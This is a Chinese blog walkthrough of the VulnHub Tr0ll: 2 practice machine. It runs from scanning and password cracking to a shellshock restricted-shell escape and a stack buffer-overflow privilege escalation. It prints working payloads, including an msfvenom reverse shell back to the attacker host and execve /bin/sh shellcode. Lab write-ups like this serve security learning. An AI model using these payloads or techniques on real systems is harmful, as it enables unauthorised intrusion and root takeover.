vulnhub Tr0ll: 2

本文思路

nmap扫描---->dirb扫描发现robots---->dirb配合找到的字典爆破目录---->访问目录下载图片---->strings考察图片,发现新目录y0ur_self---->访问y0ur_self目录,获得字典answer.txt---->弱口令登录ftp---->用fcrackzip爆破lmao.zip密码---->通过密钥ssh登录,得到noob用户的shell---->linpeas.sh探测提权途径---->利用缓冲区溢出漏洞提权

环境信息

靶机ip为192.168.101.33

攻击机ip为192.168.101.34

具体步骤

步骤1:nmap扫描

sudo nmap -sS -A -p- 192.168.101.33

扫出了3个开放端口,21(ftp),22(ssh),80(http)

其实从上图的扫描结果就可以看出来,21端口的ftp服务是不允许匿名登录的,如果允许的话,会有提示(比如见vulnhub Tr0ll: 1_箭雨镜屋-CSDN博客

如果不死心,可以用浏览器访问一下 ftp://192.168.101.33,可以看到弹出了登录框

步骤2:dirb扫描网站,找到robots.txt

访问网站发现主页还是除了这个倒霉玩意儿啥也没有

不死心,看一下网页源代码,似乎有那么一点信息,Tr0ll也许是个用户名

只好用dirb扫描一下,期待能扫出点什么

dirb http://192.168.101.33

扫描结果如下,扫出了robot.txt

浏览器访问 http://192.168.101.33/robots 发现好多目录

步骤3:dirb配合找到的目录字典爆破网站目录

把上图中这些目录复制粘贴到文件/home/kali/Desktop/paths中,做成目录字典

用dirb配合该字典爆破

dirb http://192.168.101.33 /home/kali/Desktop/paths 

爆破结果如下,有4个目录是可访问的

步骤4:访问目录,琢磨图片

这4个url每个我都访问了一遍,每个都是这张图

查看网页源代码的话,可以发现其实并不是同一张图片,是dirb爆破出来的四个目录每个目录下都有一个图片

把这4张图片都下载下来备用

步骤5:用strings命令考察图片,发现新目录y0ur_self

用下面的命令查看每张图片

strings 图片名

其他三张都没啥,dont.jpeg有意思,有一句用户友好的提示

“Look Deep within y0ur_self for the answer”

既然我已经玩过tr0ll 1了,我就知道这是什么套路了,y0ur_self保准是个目录

步骤6:访问y0ur_self目录,获得字典answer.txt

用base64命令解码一下,生成明文字典answer2.txt

cat answer.txt | base64 --decode > answer2.txt

 

步骤7:弱口令登录ftp

80端口似乎暂时没啥好看的了,试试登录ftp。虽然拿到个字典有可能包含用户名和密码,但是字典规模超级大,有快10万行,能省时间的话,还是先试试省时间的方法。

步骤2中说过,网站首页有一个信息,Tr0ll,目前为止还没用到,这边试试能不能用它登录ftp。

用户名和密码都用Tr0ll试试,成功登录

有一个压缩文件lmao.zip,下载备用

步骤8:用fcrackzip爆破lmao.zip密码

尝试打开lmao.zip,发现需要密码。可能密码就在由answer.txt解码生成的answer2.txt中。

fcrackzip是专门用来破解zip文件密码的工具。

安装fcrackzip

sudo apt install fcrackzip

用fcrackzip破解lmao.zip密码(快得不得了,速度惊到我了)

fcrackzip -D -p answer2.txt lmao.zip -u

密码是 ItCantReallyBeThisEasyRightLOL

解压出来一个叫noob的文件,是一个PEM格式的RSA私钥,留着备用

步骤9:通过密钥ssh登录,得到noob用户的shell

既然这个私钥文件叫noob,那合理猜测用户名就是noob。尝试ssh登录

ssh -i noob noob@192.168.101.33

从结果来看,用户名和密码应该是对了,但是连上之后立刻就被断开了。 

像是skytower靶机的情况,和那个一样加个-t参数试试

ssh -i noob noob@192.168.101.33 -t "/bin/sh"

不行了,难度增加了 

 

绕过Linux受限Shell环境的技巧 - linuxsec - 博客园

在这篇文章的高级绕过技术里面找到几个ssh的绕过技巧,尝试之后发现利用shellshock绕过是可行的

ssh -i noob noob@192.168.101.33 -t "() { :; }; /bin/bash"

得到noob用户的shell 

步骤10:提权途径探测

首先在当前shell下观察一下,查看一下.bash_history文件,发现曾经执行过好几个操作名叫bof的文件的命令,这个有可能是在提示本关要利用bof(缓冲区溢出)进行提权。另外,下图所示的gdb是一款linux系统下的调试器,因此下图可能也在暗示使用gdb来调试有bof漏洞的程序。

目前还看不出来缓冲区溢出漏洞具体在哪儿,先走一遍程序,linpeas跑一遍。

攻击机上开http服务

sudo python2 -m SimpleHTTPServer 80

靶机当前shell下用wget命令下载linpeas.sh到noob用户有写权限的目录,比如/tmp或者其家目录 

wget http://192.168.101.34/linpeas.sh

用chmod命令赋予linpeas.sh执行权限

chmod +x linpeas.sh

执行linpeas.sh之后,得到的结果中有SUID权限的文件包含下面三个奇奇怪怪的

这三个door下面的r00t文件是三个不同的可执行文件,并且一段时间之后,这三个文件的作用会轮换。

其中一个执行之后会退出ssh

一个执行之后会有2分钟的困难模式,困难模式中不能ls

还有一个是可以被用来提权的。

为了避免进入不对的门,可以用od -S 1来查看文件中包含的可读字符串。比如

od -S 1 /nothing_to_see_here/choose_wisely/door2/r00t

结果中没有上两图的提示语,包含bof.c,可知这个就是需要利用的文件。

进一步,可以用下面的命令来确定是不是我们要找的r00t文件 

od -S 1 /nothing_to_see_here/choose_wisely/door2/r00t | grep bof

步骤11:利用缓冲区溢出漏洞提权

靶机shell中输入如下命令,开始用gdb调试r00t

gdb /nothing_to_see_here/choose_wisely/door3/r00t

 进入gdb后,执行如下命令,其中r表示run,该命令表示执行r00t并以500个A作为入参

 (gdb) r $(python -c 'print "A"*500')

结果如下图所示,0x41是A的十六进制ascii码,说明有缓冲区溢出

接下来需要知道哪4个字节覆盖了EIP。

首先在攻击机上查找pattern_create.rb文件

find / -name pattern_create.rb -type f 2>/dev/null

结果如下 

执行如下命令,用pattern_create.rb生成长度为500字节的每4个字节都不一样的字符串

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500

运行r00t,以刚刚生成的字符串作为入参 

 (gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

从结果可见,占着EIP的是 0x6a413969

用 pattern_offset.rb 来确定0x6a413969在入参中的位置

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 500 -q 6a413969

结果是前面有268个字节 

gdb中输入如下命令验证以上结论。运行r00t,入参是268个A和4个B

 (gdb) r $(python -c 'print "A"*268+"B"*4')

EIP是0x42424242,0x42是B的十六进制ascii码。因此,以上结论正确。

执行以下命令,查看寄存器的值

(gdb) i r

从下图中可以看到ESP中的地址是0xbffffb80。

执行如下命令可以查看该地址指向的值。

(gdb) x 0xbffffb80

先后执行如下三个命令 

(gdb) r $(python -c 'print "A"*268+"B"*4+"C"*8')
(gdb) i r
(gdb) x 0xbffffb80

从结果可知, 0xbffffb80(ESP)指向的内存被字符C占了

接下来找坏字符。

某大神传授了一个方便的工具badchars。

先用以下命令安装badchars

pip install badchars

然后创建个软链接

sudo ln -s /home/kali/.local/bin/badchars /bin/badchars 

再执行

badchars

就可以输出从1~255的十六进制字符

用这些字符替代入参中的C 

(gdb) r $(python -c 'print "A"*268+"B"*4+"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"')

输入

(gdb) i r

找到esp的值 

再输入以下命令查看esp指向的值以及附近的值

(gdb) x/100xb 0xbffffa70

结果中可见从1~8是正常的,\x09的位置变成了\x00,这表示\x09是个坏字符。

入参中把\x09删掉,重新执行,直到找出所有坏字符。

所有坏字符包括\x00\x09\x0a\x20

接下来构造shellcode,用msfvenom生成反弹shell,LHOST是攻击机ip,LPORT是攻击机监听的端口,并用-b选项去掉坏字符。

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.101.34 LPORT=2333 -b "\x00\x09\x0a\x20" -f py 

整理完shellcode之后,我就属实不会了。因为之前看的资料是要找JMP ESP,这个靶机好像不是这么玩的。 

看了vulnhub上好几个writeup,给出的payload中使EIP的值为0xbffffb80,但我试了不管是我生成的shellcode,还是writeup中自带的都不能成功。也就是说,下面这样是成功不了的

noob@Tr0ll2:~$ /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A"*268+"\x80\xfb\xff\xbf"+"\x90"*16+"\xdb\xd5\xd9\x74\x24\xf4\x5a\xbe\x7b\x97\xf5\xb7\x2b\xc9\xb1\x12\x31\x72\x17\x03\x72\x17\x83\x91\x6b\x17\x42\x54\x4f\x2f\x4e\xc5\x2c\x83\xfb\xeb\x3b\xc2\x4c\x8d\xf6\x85\x3e\x08\xb9\xb9\x8d\x2a\xf0\xbc\xf4\x42\xc3\x97\x62\xb0\xab\xe5\x6c\xbd\x36\x63\x8d\x0d\x2e\x23\x1f\x3e\x1c\xc0\x16\x21\xaf\x47\x7a\xc9\x5e\x67\x08\x61\xf7\x58\xc1\x13\x6e\x2e\xfe\x81\x23\xb9\xe0\x95\xcf\x74\x62"')

我不清楚难道这是因为我用的VMware版本,而writeup作者们用的难道都是virtual box版本么?

后来我看到一个writeup有点不一样

Tr0ll: 2 Walkthrough - You Gotta Pay the Troll Toll

还从这个writeup里面发现一个充满shellcode的网站

Linux/x86 - execve /bin/sh shellcode - 23 bytes

总之,这个writeup使用了env命令(env -是env -i的缩写),并且使EIP的值为0xbffffc80。我试了他的payload是可以成功的,直接原地提权

env - /nothing_to_see_here/choose_wisely/door3/r00t $(python -c 'print "A"*268 + "\x80\xfc\xff\xbf" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')

后来我用这种方法又试了我自己的shellcode,也是可以成功的,得到反弹shell

noob@Tr0ll2:~$ env - /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A"*268+"\x80\xfc\xff\xbf"+"\x90"*16+"\xdb\xd5\xd9\x74\x24\xf4\x5a\xbe\x7b\x97\xf5\xb7\x2b\xc9\xb1\x12\x31\x72\x17\x03\x72\x17\x83\x91\x6b\x17\x42\x54\x4f\x2f\x4e\xc5\x2c\x83\xfb\xeb\x3b\xc2\x4c\x8d\xf6\x85\x3e\x08\xb9\xb9\x8d\x2a\xf0\xbc\xf4\x42\xc3\x97\x62\xb0\xab\xe5\x6c\xbd\x36\x63\x8d\x0d\x2e\x23\x1f\x3e\x1c\xc0\x16\x21\xaf\x47\x7a\xc9\x5e\x67\x08\x61\xf7\x58\xc1\x13\x6e\x2e\xfe\x81\x23\xb9\xe0\x95\xcf\x74\x62"')

不过虽然成功了,我的心中还是有大大的疑惑,我不懂怎么就成功了。 0xbffffc80是怎么来的呢?

他先用env - gdb ./r00t进入调试,然后清除了当前环境变量,再

(gdb) run $(python -c 'print "A"*268 + "BBBB" + "\x90"*16 + "C"*100')

此时ESP的值便是0xbffffc80

可是为什么是100个C呢,不明白!!!

而且我的环境上如果清楚环境变量就不是0xbffffc80了,不清除反而是0xbffffc80。

我也试了其他的地址,都不能成功。

啊,真奇怪,希望以后能完全弄明白。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值